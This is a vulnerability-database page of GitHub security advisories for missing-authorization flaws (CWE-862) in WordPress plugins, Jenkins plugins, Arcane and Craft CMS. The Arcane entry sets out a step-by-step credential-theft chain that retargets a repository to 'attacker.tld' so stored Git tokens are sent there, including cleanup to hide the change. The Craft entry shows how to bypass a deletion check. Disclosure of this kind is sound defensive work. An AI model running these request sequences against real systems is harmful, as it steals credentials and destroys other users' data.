CWE-862
Allowed-with-ReviewMissing Authorization
Abstraction: Class · Status: Incomplete
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
15538 vulnerabilities reference this CWE, most recent first.
GHSA-7GXX-5PQG-V8F2
Vulnerability from github – Published: 2025-10-31 06:33 – Updated: 2025-10-31 15:30The RealPress WordPress plugin before 1.1.0 registers the REST routes without proper permission checks, allowing the creation of pages and sending of emails from the site.
{
"affected": [],
"aliases": [
"CVE-2025-11191"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-31T06:15:32Z",
"severity": "MODERATE"
},
"details": "The RealPress WordPress plugin before 1.1.0 registers the REST routes without proper permission checks, allowing the creation of pages and sending of emails from the site.",
"id": "GHSA-7gxx-5pqg-v8f2",
"modified": "2025-10-31T15:30:31Z",
"published": "2025-10-31T06:33:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11191"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/74f19ff2-d5c0-4bd4-83f2-688ea37022b1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7H24-4X4C-69MF
Vulnerability from github – Published: 2022-05-24 17:03 – Updated: 2022-11-03 23:46A missing permission check in Jenkins Alauda Kubernetes Suport Plugin 2.3.0 and earlier allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified credentials IDs obtained through another method, capturing the Kubernetes service account token or credentials stored in Jenkins.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.alauda.jenkins.plugins:alauda-kubernetes-support"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-16576"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2022-11-03T23:46:33Z",
"nvd_published_at": "2019-12-17T15:15:00Z",
"severity": "MODERATE"
},
"details": "A missing permission check in Jenkins Alauda Kubernetes Suport Plugin 2.3.0 and earlier allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified credentials IDs obtained through another method, capturing the Kubernetes service account token or credentials stored in Jenkins.",
"id": "GHSA-7h24-4x4c-69mf",
"modified": "2022-11-03T23:46:33Z",
"published": "2022-05-24T17:03:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-16576"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2019-12-17/#SECURITY-1602"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2019/12/17/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Improper Authorization in Jenkins Alauda Kubernetes Suport Plugin"
}
GHSA-7H26-HG47-P9HX
Vulnerability from github – Published: 2026-05-18 13:44 – Updated: 2026-06-09 10:30Summary
Arcane's huma-based REST API exposes nine endpoints under /api/customize/git-repositories and /api/git-repositories/sync for managing GitOps source repositories and their stored credentials. Eight of those endpoints (list, create, get, update, delete, test, listBranches, browseFiles) never call the checkAdmin(ctx) helper that every other admin-managed resource (container registries, environments, users, API keys, swarm, settings, system, notifications, events) uses, and the huma authentication middleware deliberately enforces only authentication, not the admin role. As a result, any logged-in user with the default user role can list, create, modify, delete, and test git repository configurations. By repointing an existing repository's URL to an attacker-controlled host while omitting the token/sshKey fields (which UpdateRepository only rewrites when explicitly supplied), the attacker causes Arcane to decrypt the legitimate PAT/SSH key on its next /test, /branches, or /files call and present it as HTTP Basic auth (or SSH key auth) to the attacker's host — producing a one-step exfiltration of plaintext Git credentials.
Details
Auth bridge does not enforce role
backend/internal/huma/middleware/auth.go:192-254 (NewAuthBridge) validates Bearer JWTs / API keys / agent tokens and stores the user (and an userIsAdmin flag) in the request context, but it never rejects non-admin callers — admin enforcement is intentionally delegated to handlers via helpers.checkAdmin:
// backend/internal/huma/handlers/helpers.go:11-12
// checkAdmin checks if the current user is an admin and returns a 403 error if not.
func checkAdmin(ctx context.Context) error { ... }
grep -rn "checkAdmin" confirms every other admin resource uses it (container_registries, environments, users, apikeys, events, settings, swarm, system, notifications). Default new accounts get role "user" (backend/internal/huma/handlers/users.go:222-223):
if userModel.Roles == nil {
userModel.Roles = []string{"user"}
}
Git repository handler is missing the admin gate on 8 of 9 endpoints
backend/internal/huma/handlers/git_repositories.go:117-236 registers nine endpoints. Only SyncRepositories (line 456) calls checkAdmin(ctx). The other handlers — ListRepositories (line 243), CreateRepository (271), GetRepository (301), UpdateRepository (326), DeleteRepository (356), TestRepository (382), ListBranches (407), BrowseFiles (428) — perform no role check whatsoever:
// backend/internal/huma/handlers/git_repositories.go:326-336
func (h *GitRepositoryHandler) UpdateRepository(ctx context.Context, input *UpdateGitRepositoryInput) (*UpdateGitRepositoryOutput, error) {
if h.repoService == nil {
return nil, huma.Error500InternalServerError("service not available")
}
actor := models.User{}
if currentUser, exists := humamw.GetCurrentUserFromContext(ctx); exists && currentUser != nil {
actor = *currentUser
}
repo, err := h.repoService.UpdateRepository(ctx, input.ID, input.Body, actor)
...
The service layer (backend/internal/services/git_repository_service.go) has no role enforcement either — grep -n "admin" backend/internal/services/git_repository_service.go returns nothing.
Credential-preserving update primitive
UpdateRepository builds a partial update map: the token/ssh_key columns are only rewritten if the corresponding pointer in the request body is non-nil, while the URL is updated unconditionally when req.URL != nil:
// backend/internal/services/git_repository_service.go:185-219
updates := make(map[string]any)
if req.Name != nil { updates["name"] = *req.Name }
if req.URL != nil { updates["url"] = *req.URL } // <-- attacker-pivotable
if req.AuthType != nil { updates["auth_type"] = *req.AuthType }
...
if req.Token != nil { // <-- only rewritten if supplied
if *req.Token == "" { updates["token"] = "" } else {
encrypted, err := crypto.Encrypt(*req.Token)
...
updates["token"] = encrypted
}
}
So PUT /customize/git-repositories/{id} with body {"url":"https://attacker.tld/repo.git"} retargets the repository while preserving the encrypted token.
Sink: Basic-auth send to attacker URL
TestConnection and ListBranches/BrowseFiles decrypt the stored token via GetAuthConfig and pass the chosen URL + auth to gitutil:
// backend/internal/services/git_repository_service.go:340-363
func (s *GitRepositoryService) GetAuthConfig(ctx context.Context, repository *models.GitRepository) (git.AuthConfig, error) {
authConfig := git.AuthConfig{
AuthType: repository.AuthType, Username: repository.Username, ...
}
if repository.Token != "" {
token, err := crypto.Decrypt(repository.Token)
...
authConfig.Token = token
}
...
}
// backend/pkg/gitutil/git.go:60-69
case "http":
if config.Token != "" {
return &githttp.BasicAuth{
Username: config.Username,
Password: config.Token,
}, nil
}
go-git's HTTP transport sends Authorization: Basic base64(username:token) in the very first reference-discovery request to the (attacker-controlled) URL — so the cleartext PAT lands in the attacker's web-server access log on the first call to /test, /branches, or /files.
Full attack chain (HTTP-token variant)
- Attacker authenticates as a normal
user(registration or any pre-existing low-priv account). GET /api/customize/git-repositoriesenumerates all configured repositories (id, url, authType, username — token/sshKey are encrypted but their existence is visible).PUT /api/customize/git-repositories/{id}with{"url":"https://attacker.tld/repo.git"}retargets the repo while preserving the encrypted PAT.POST /api/customize/git-repositories/{id}/test(orGET .../branches) makes Arcane decrypt the PAT and send it toattacker.tldas HTTP Basic auth.- Optional cleanup:
PUTagain to restore the original URL, leaving no obvious config drift; orDELETEevery repo for DoS on the GitOps pipeline.
The same primitive works for authType: "ssh" repos by retargeting to an attacker-controlled SSH endpoint that logs the offered key (or, with the default accept_new host-key mode, by the attacker simply observing the SSH session).
Impact
- Cleartext exfiltration of stored Git credentials. PATs and SSH keys configured by administrators for source-of-truth GitOps repositories are encrypted at rest with a key Arcane controls, but any authenticated low-priv user can cause the application to decrypt them and transmit them to an attacker-chosen URL. Stolen GitHub/GitLab PATs typically grant write access to the org's source repos, CI secrets, container registries, and downstream production systems — escaping Arcane's security boundary entirely (S:C).
- Privilege escalation to effective Arcane admin over GitOps. Non-admin users can create, modify, and delete every git repository configuration, controlling what code Arcane pulls and deploys.
- Supply-chain integrity loss. A user can swap the URL of an enabled repo to a malicious fork, then revert it after a sync, to inject attacker-controlled images/manifests into deployments.
- Denial of service on the GitOps pipeline.
DELETE /customize/git-repositories/{id}lets any user wipe production repository configurations. - Information disclosure of private repo contents.
GET .../filesclones private repos using stored credentials and returns file contents in the API response, regardless of caller role.
Default Arcane installations create new accounts with role user; no special configuration is required for the attack to be reachable.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.18.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/getarcaneapp/arcane/backend"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.19.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45625"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-18T13:44:47Z",
"nvd_published_at": "2026-05-29T18:17:10Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nArcane\u0027s huma-based REST API exposes nine endpoints under `/api/customize/git-repositories` and `/api/git-repositories/sync` for managing GitOps source repositories and their stored credentials. Eight of those endpoints (`list`, `create`, `get`, `update`, `delete`, `test`, `listBranches`, `browseFiles`) never call the `checkAdmin(ctx)` helper that every other admin-managed resource (container registries, environments, users, API keys, swarm, settings, system, notifications, events) uses, and the huma authentication middleware deliberately enforces only authentication, not the `admin` role. As a result, any logged-in user with the default `user` role can list, create, modify, delete, and test git repository configurations. By repointing an existing repository\u0027s URL to an attacker-controlled host while omitting the `token`/`sshKey` fields (which `UpdateRepository` only rewrites when explicitly supplied), the attacker causes Arcane to decrypt the legitimate PAT/SSH key on its next `/test`, `/branches`, or `/files` call and present it as HTTP Basic auth (or SSH key auth) to the attacker\u0027s host \u2014 producing a one-step exfiltration of plaintext Git credentials.\n\n## Details\n\n### Auth bridge does not enforce role\n\n`backend/internal/huma/middleware/auth.go:192-254` (`NewAuthBridge`) validates Bearer JWTs / API keys / agent tokens and stores the user (and an `userIsAdmin` flag) in the request context, but it never rejects non-admin callers \u2014 admin enforcement is intentionally delegated to handlers via `helpers.checkAdmin`:\n\n```go\n// backend/internal/huma/handlers/helpers.go:11-12\n// checkAdmin checks if the current user is an admin and returns a 403 error if not.\nfunc checkAdmin(ctx context.Context) error { ... }\n```\n\n`grep -rn \"checkAdmin\"` confirms every other admin resource uses it (container_registries, environments, users, apikeys, events, settings, swarm, system, notifications). Default new accounts get role `\"user\"` (`backend/internal/huma/handlers/users.go:222-223`):\n\n```go\nif userModel.Roles == nil {\n userModel.Roles = []string{\"user\"}\n}\n```\n\n### Git repository handler is missing the admin gate on 8 of 9 endpoints\n\n`backend/internal/huma/handlers/git_repositories.go:117-236` registers nine endpoints. Only `SyncRepositories` (line 456) calls `checkAdmin(ctx)`. The other handlers \u2014 `ListRepositories` (line 243), `CreateRepository` (271), `GetRepository` (301), `UpdateRepository` (326), `DeleteRepository` (356), `TestRepository` (382), `ListBranches` (407), `BrowseFiles` (428) \u2014 perform no role check whatsoever:\n\n```go\n// backend/internal/huma/handlers/git_repositories.go:326-336\nfunc (h *GitRepositoryHandler) UpdateRepository(ctx context.Context, input *UpdateGitRepositoryInput) (*UpdateGitRepositoryOutput, error) {\n if h.repoService == nil {\n return nil, huma.Error500InternalServerError(\"service not available\")\n }\n actor := models.User{}\n if currentUser, exists := humamw.GetCurrentUserFromContext(ctx); exists \u0026\u0026 currentUser != nil {\n actor = *currentUser\n }\n repo, err := h.repoService.UpdateRepository(ctx, input.ID, input.Body, actor)\n ...\n```\n\nThe service layer (`backend/internal/services/git_repository_service.go`) has no role enforcement either \u2014 `grep -n \"admin\" backend/internal/services/git_repository_service.go` returns nothing.\n\n### Credential-preserving update primitive\n\n`UpdateRepository` builds a partial update map: the `token`/`ssh_key` columns are only rewritten if the corresponding pointer in the request body is non-nil, while the URL is updated unconditionally when `req.URL != nil`:\n\n```go\n// backend/internal/services/git_repository_service.go:185-219\nupdates := make(map[string]any)\nif req.Name != nil { updates[\"name\"] = *req.Name }\nif req.URL != nil { updates[\"url\"] = *req.URL } // \u003c-- attacker-pivotable\nif req.AuthType != nil { updates[\"auth_type\"] = *req.AuthType }\n...\nif req.Token != nil { // \u003c-- only rewritten if supplied\n if *req.Token == \"\" { updates[\"token\"] = \"\" } else {\n encrypted, err := crypto.Encrypt(*req.Token)\n ...\n updates[\"token\"] = encrypted\n }\n}\n```\n\nSo `PUT /customize/git-repositories/{id}` with body `{\"url\":\"https://attacker.tld/repo.git\"}` retargets the repository while preserving the encrypted token.\n\n### Sink: Basic-auth send to attacker URL\n\n`TestConnection` and `ListBranches`/`BrowseFiles` decrypt the stored token via `GetAuthConfig` and pass the chosen URL + auth to `gitutil`:\n\n```go\n// backend/internal/services/git_repository_service.go:340-363\nfunc (s *GitRepositoryService) GetAuthConfig(ctx context.Context, repository *models.GitRepository) (git.AuthConfig, error) {\n authConfig := git.AuthConfig{\n AuthType: repository.AuthType, Username: repository.Username, ...\n }\n if repository.Token != \"\" {\n token, err := crypto.Decrypt(repository.Token)\n ...\n authConfig.Token = token\n }\n ...\n}\n```\n\n```go\n// backend/pkg/gitutil/git.go:60-69\ncase \"http\":\n if config.Token != \"\" {\n return \u0026githttp.BasicAuth{\n Username: config.Username,\n Password: config.Token,\n }, nil\n }\n```\n\n`go-git`\u0027s HTTP transport sends `Authorization: Basic base64(username:token)` in the very first reference-discovery request to the (attacker-controlled) URL \u2014 so the cleartext PAT lands in the attacker\u0027s web-server access log on the first call to `/test`, `/branches`, or `/files`.\n\n### Full attack chain (HTTP-token variant)\n\n1. Attacker authenticates as a normal `user` (registration or any pre-existing low-priv account).\n2. `GET /api/customize/git-repositories` enumerates all configured repositories (id, url, authType, username \u2014 token/sshKey are encrypted but their *existence* is visible).\n3. `PUT /api/customize/git-repositories/{id}` with `{\"url\":\"https://attacker.tld/repo.git\"}` retargets the repo while preserving the encrypted PAT.\n4. `POST /api/customize/git-repositories/{id}/test` (or `GET .../branches`) makes Arcane decrypt the PAT and send it to `attacker.tld` as HTTP Basic auth.\n5. Optional cleanup: `PUT` again to restore the original URL, leaving no obvious config drift; or `DELETE` every repo for DoS on the GitOps pipeline.\n\nThe same primitive works for `authType: \"ssh\"` repos by retargeting to an attacker-controlled SSH endpoint that logs the offered key (or, with the default `accept_new` host-key mode, by the attacker simply observing the SSH session).\n\n## Impact\n\n- **Cleartext exfiltration of stored Git credentials.** PATs and SSH keys configured by administrators for source-of-truth GitOps repositories are encrypted at rest with a key Arcane controls, but any authenticated low-priv user can cause the application to decrypt them and transmit them to an attacker-chosen URL. Stolen GitHub/GitLab PATs typically grant write access to the org\u0027s source repos, CI secrets, container registries, and downstream production systems \u2014 escaping Arcane\u0027s security boundary entirely (S:C).\n- **Privilege escalation to effective Arcane admin over GitOps.** Non-admin users can create, modify, and delete every git repository configuration, controlling what code Arcane pulls and deploys.\n- **Supply-chain integrity loss.** A user can swap the URL of an enabled repo to a malicious fork, then revert it after a sync, to inject attacker-controlled images/manifests into deployments.\n- **Denial of service on the GitOps pipeline.** `DELETE /customize/git-repositories/{id}` lets any user wipe production repository configurations.\n- **Information disclosure of private repo contents.** `GET .../files` clones private repos using stored credentials and returns file contents in the API response, regardless of caller role.\n\nDefault Arcane installations create new accounts with role `user`; no special configuration is required for the attack to be reachable.",
"id": "GHSA-7h26-hg47-p9hx",
"modified": "2026-06-09T10:30:21Z",
"published": "2026-05-18T13:44:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getarcaneapp/arcane/security/advisories/GHSA-7h26-hg47-p9hx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45625"
},
{
"type": "PACKAGE",
"url": "https://github.com/getarcaneapp/arcane"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Arcane Backend: Missing admin authorization on git repository endpoints allows non-admin users to exfiltrate stored Git credentials and tamper with GitOps configs"
}
GHSA-7H2J-H5XP-H3GH
Vulnerability from github – Published: 2022-05-18 00:00 – Updated: 2022-12-02 20:34A missing permission check in Jenkins SSH Plugin 2.6.1 and earlier allows attackers with Overall/Read permission to connect to an attacker-specified SSH server using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:ssh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.6.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-30959"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2022-06-01T20:54:49Z",
"nvd_published_at": "2022-05-17T15:15:00Z",
"severity": "HIGH"
},
"details": "A missing permission check in Jenkins SSH Plugin 2.6.1 and earlier allows attackers with Overall/Read permission to connect to an attacker-specified SSH server using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.",
"id": "GHSA-7h2j-h5xp-h3gh",
"modified": "2022-12-02T20:34:15Z",
"published": "2022-05-18T00:00:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30959"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/ssh-plugin"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2022-05-17/#SECURITY-2093"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Missing Authorization in Jenkins SSH plugin"
}
GHSA-7H5H-QG5P-JJPF
Vulnerability from github – Published: 2023-11-22 18:30 – Updated: 2023-11-22 18:30The UserPro plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'userpro_shortcode_template' function in versions up to, and including, 5.1.4. This makes it possible for unauthenticated attackers to arbitrary shortcode execution. An attacker can leverage CVE-2023-2446 to get sensitive information via shortcode.
{
"affected": [],
"aliases": [
"CVE-2023-2448"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-22T16:15:08Z",
"severity": "MODERATE"
},
"details": "The UserPro plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the \u0027userpro_shortcode_template\u0027 function in versions up to, and including, 5.1.4. This makes it possible for unauthenticated attackers to arbitrary shortcode execution. An attacker can leverage CVE-2023-2446 to get sensitive information via shortcode.",
"id": "GHSA-7h5h-qg5p-jjpf",
"modified": "2023-11-22T18:30:55Z",
"published": "2023-11-22T18:30:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2448"
},
{
"type": "WEB",
"url": "https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7cbe9175-4a6f-4eb6-8d31-9a9fda9b4f40?source=cve"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/175871/WordPress-UserPro-5.1.x-Password-Reset-Authentication-Bypass-Escalation.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-7H62-6V23-V8FM
Vulnerability from github – Published: 2026-07-02 18:49 – Updated: 2026-07-02 18:49Summary
AssetsController::actionDeleteFolder() only requires the deleteAssets:<volume-uid> permission for the target folder. It never enforces deletePeerAssets:<volume-uid>, even though Assets::deleteFoldersByIds() cascades deletion to every descendant folder and every asset inside, regardless of who uploaded them. A low-privilege user who has been granted folder-management rights on a shared volume can therefore destroy assets uploaded by other users (peer assets), bypassing the per-asset peer-permission check that the sibling actionDeleteAsset endpoint correctly applies.
This is the same bug class that was just fixed in actionMoveFolder as GHSA-3w32-23wj-rxg3 (commit 05c2042, Apr 23 2026); the fix added requireVolumePermissionByFolder('deletePeerAssets', …) and savePeerAssets checks to the move endpoint but did not propagate to the delete-folder endpoint.
Details
src/controllers/AssetsController.php:552-569:
public function actionDeleteFolder(): Response
{
$this->requireAcceptsJson();
$folderId = $this->request->getRequiredBodyParam('folderId');
$assets = Craft::$app->getAssets();
$folder = $assets->getFolderById($folderId);
if (!$folder) {
throw new BadRequestHttpException('The folder cannot be found');
}
// Check if it's possible to delete objects in the target volume.
$this->requireVolumePermissionByFolder('deleteAssets', $folder); // <-- only checks deleteAssets
$assets->deleteFoldersByIds($folderId);
return $this->asSuccess();
}
requireVolumePermissionByFolder() (src/controllers/AssetsControllerTrait.php:75-88) only resolves to a single requirePermission('deleteAssets:<vol-uid>') call. The peer-equivalent helper (requirePeerVolumePermissionByAsset) is never invoked because there is no folder-level peer helper that iterates the folder's contents.
Assets::deleteFoldersByIds() (src/services/Assets.php:311-349) then enumerates the folder + every descendant folder, queries every asset under those IDs, and calls Craft::$app->getElements()->deleteElement($asset, true) directly:
$assetQuery = Asset::find()->folderId($allFolderIds);
$elementService = Craft::$app->getElements();
foreach (Db::each($assetQuery) as $asset) {
$asset->keepFileOnDelete = !$deleteDir;
$elementService->deleteElement($asset, true);
}
This bypasses Asset::canDelete() (src/elements/Asset.php:1515-1536):
public function canDelete(User $user): bool
{
if ($this->isFolder) { return false; }
if (parent::canDelete($user)) { return true; }
$volume = $this->getVolume();
if (Assets::isTempUploadFs($volume->getFs())) { return true; }
if ($this->uploaderId !== $user->id) {
return $user->can("deletePeerAssets:$volume->uid"); // <-- never reached on cascade delete
}
return $user->can("deleteAssets:$volume->uid");
}
Compare to actionDeleteAsset (src/controllers/AssetsController.php:579-613), which correctly does:
$this->requireVolumePermissionByAsset('deleteAssets', $asset);
$this->requirePeerVolumePermissionByAsset('deletePeerAssets', $asset);
The fix that landed in 05c2042 for actionMoveFolder (src/controllers/AssetsController.php:733-765) added both savePeerAssets and deletePeerAssets requireVolumePermissionByFolder checks to mirror the per-asset pattern, but the same hardening was not applied to actionDeleteFolder or actionRenameFolder (which also calls deleteFoldersByIds indirectly through later logic).
The asymmetry between the two endpoints demonstrates the missing check.
Impact
- Integrity / availability of other users' assets on any volume where the attacker has
deleteAssetsbut notdeletePeerAssets: the attacker can permanently delete peer-owned files (and their parent folder structure) on the underlying filesystem, with no recovery via Craft's UI. - The Craft permission model explicitly distinguishes "delete your own assets" (
deleteAssets) from "delete other users' assets" (deletePeerAssets) precisely so administrators can grant the former without the latter on shared volumes — this finding renders that distinction unenforceable for any user given folder-delete rights. - No information disclosure or remote code execution; impact is bounded to the affected volume's contents.
- Does not require any non-default configuration: the affected endpoint is enabled by default and only requires that an administrator has split
deleteAssetsfromdeletePeerAssets(the documented, supported permission model).
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-RC1"
},
{
"fixed": "5.9.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-RC1"
},
{
"fixed": "4.17.15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50284"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-02T18:49:04Z",
"nvd_published_at": "2026-07-01T23:16:52Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`AssetsController::actionDeleteFolder()` only requires the `deleteAssets:\u003cvolume-uid\u003e` permission for the target folder. It never enforces `deletePeerAssets:\u003cvolume-uid\u003e`, even though `Assets::deleteFoldersByIds()` cascades deletion to every descendant folder and every asset inside, regardless of who uploaded them. A low-privilege user who has been granted folder-management rights on a shared volume can therefore destroy assets uploaded by other users (peer assets), bypassing the per-asset peer-permission check that the sibling `actionDeleteAsset` endpoint correctly applies.\n\nThis is the same bug class that was just fixed in `actionMoveFolder` as **GHSA-3w32-23wj-rxg3** (commit `05c2042`, Apr 23 2026); the fix added `requireVolumePermissionByFolder(\u0027deletePeerAssets\u0027, \u2026)` and `savePeerAssets` checks to the move endpoint but did not propagate to the delete-folder endpoint.\n\n## Details\n\n`src/controllers/AssetsController.php:552-569`:\n\n```php\npublic function actionDeleteFolder(): Response\n{\n $this-\u003erequireAcceptsJson();\n $folderId = $this-\u003erequest-\u003egetRequiredBodyParam(\u0027folderId\u0027);\n\n $assets = Craft::$app-\u003egetAssets();\n $folder = $assets-\u003egetFolderById($folderId);\n\n if (!$folder) {\n throw new BadRequestHttpException(\u0027The folder cannot be found\u0027);\n }\n\n // Check if it\u0027s possible to delete objects in the target volume.\n $this-\u003erequireVolumePermissionByFolder(\u0027deleteAssets\u0027, $folder); // \u003c-- only checks deleteAssets\n $assets-\u003edeleteFoldersByIds($folderId);\n\n return $this-\u003easSuccess();\n}\n```\n\n`requireVolumePermissionByFolder()` (`src/controllers/AssetsControllerTrait.php:75-88`) only resolves to a single `requirePermission(\u0027deleteAssets:\u003cvol-uid\u003e\u0027)` call. The peer-equivalent helper (`requirePeerVolumePermissionByAsset`) is never invoked because there is no folder-level peer helper that iterates the folder\u0027s contents.\n\n`Assets::deleteFoldersByIds()` (`src/services/Assets.php:311-349`) then enumerates the folder + every descendant folder, queries every asset under those IDs, and calls `Craft::$app-\u003egetElements()-\u003edeleteElement($asset, true)` directly:\n\n```php\n$assetQuery = Asset::find()-\u003efolderId($allFolderIds);\n$elementService = Craft::$app-\u003egetElements();\n\nforeach (Db::each($assetQuery) as $asset) {\n $asset-\u003ekeepFileOnDelete = !$deleteDir;\n $elementService-\u003edeleteElement($asset, true);\n}\n```\n\nThis bypasses `Asset::canDelete()` (`src/elements/Asset.php:1515-1536`):\n\n```php\npublic function canDelete(User $user): bool\n{\n if ($this-\u003eisFolder) { return false; }\n if (parent::canDelete($user)) { return true; }\n $volume = $this-\u003egetVolume();\n if (Assets::isTempUploadFs($volume-\u003egetFs())) { return true; }\n\n if ($this-\u003euploaderId !== $user-\u003eid) {\n return $user-\u003ecan(\"deletePeerAssets:$volume-\u003euid\"); // \u003c-- never reached on cascade delete\n }\n return $user-\u003ecan(\"deleteAssets:$volume-\u003euid\");\n}\n```\n\nCompare to `actionDeleteAsset` (`src/controllers/AssetsController.php:579-613`), which correctly does:\n\n```php\n$this-\u003erequireVolumePermissionByAsset(\u0027deleteAssets\u0027, $asset);\n$this-\u003erequirePeerVolumePermissionByAsset(\u0027deletePeerAssets\u0027, $asset);\n```\n\nThe fix that landed in `05c2042` for `actionMoveFolder` (`src/controllers/AssetsController.php:733-765`) added both `savePeerAssets` and `deletePeerAssets` `requireVolumePermissionByFolder` checks to mirror the per-asset pattern, but the same hardening was not applied to `actionDeleteFolder` or `actionRenameFolder` (which also calls `deleteFoldersByIds` indirectly through later logic).\n\nThe asymmetry between the two endpoints demonstrates the missing check.\n\n## Impact\n\n- Integrity / availability of other users\u0027 assets on any volume where the attacker has `deleteAssets` but not `deletePeerAssets`: the attacker can permanently delete peer-owned files (and their parent folder structure) on the underlying filesystem, with no recovery via Craft\u0027s UI.\n- The Craft permission model explicitly distinguishes \"delete your own assets\" (`deleteAssets`) from \"delete other users\u0027 assets\" (`deletePeerAssets`) precisely so administrators can grant the former without the latter on shared volumes \u2014 this finding renders that distinction unenforceable for any user given folder-delete rights.\n- No information disclosure or remote code execution; impact is bounded to the affected volume\u0027s contents.\n- Does not require any non-default configuration: the affected endpoint is enabled by default and only requires that an administrator has split `deleteAssets` from `deletePeerAssets` (the documented, supported permission model).",
"id": "GHSA-7h62-6v23-v8fm",
"modified": "2026-07-02T18:49:04Z",
"published": "2026-07-02T18:49:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-7h62-6v23-v8fm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50284"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/commit/b4e08977f0c9bdf002a77f9f6d1346cd55ac0598"
},
{
"type": "PACKAGE",
"url": "https://github.com/craftcms/cms"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Craft CMS: Missing peer-permission check in `AssetsController::actionDeleteFolder` allows deletion of other users\u0027 assets"
}
GHSA-7H7F-98XC-35Q3
Vulnerability from github – Published: 2026-05-12 12:32 – Updated: 2026-05-12 12:32Missing Authorization vulnerability in Gabe Livan Asset CleanUp: Page Speed Booster wp-asset-clean-up allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Asset CleanUp: Page Speed Booster: from n/a through <= 1.4.0.3.
{
"affected": [],
"aliases": [
"CVE-2026-45212"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-12T11:16:20Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in Gabe Livan Asset CleanUp: Page Speed Booster wp-asset-clean-up allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Asset CleanUp: Page Speed Booster: from n/a through \u003c= 1.4.0.3.",
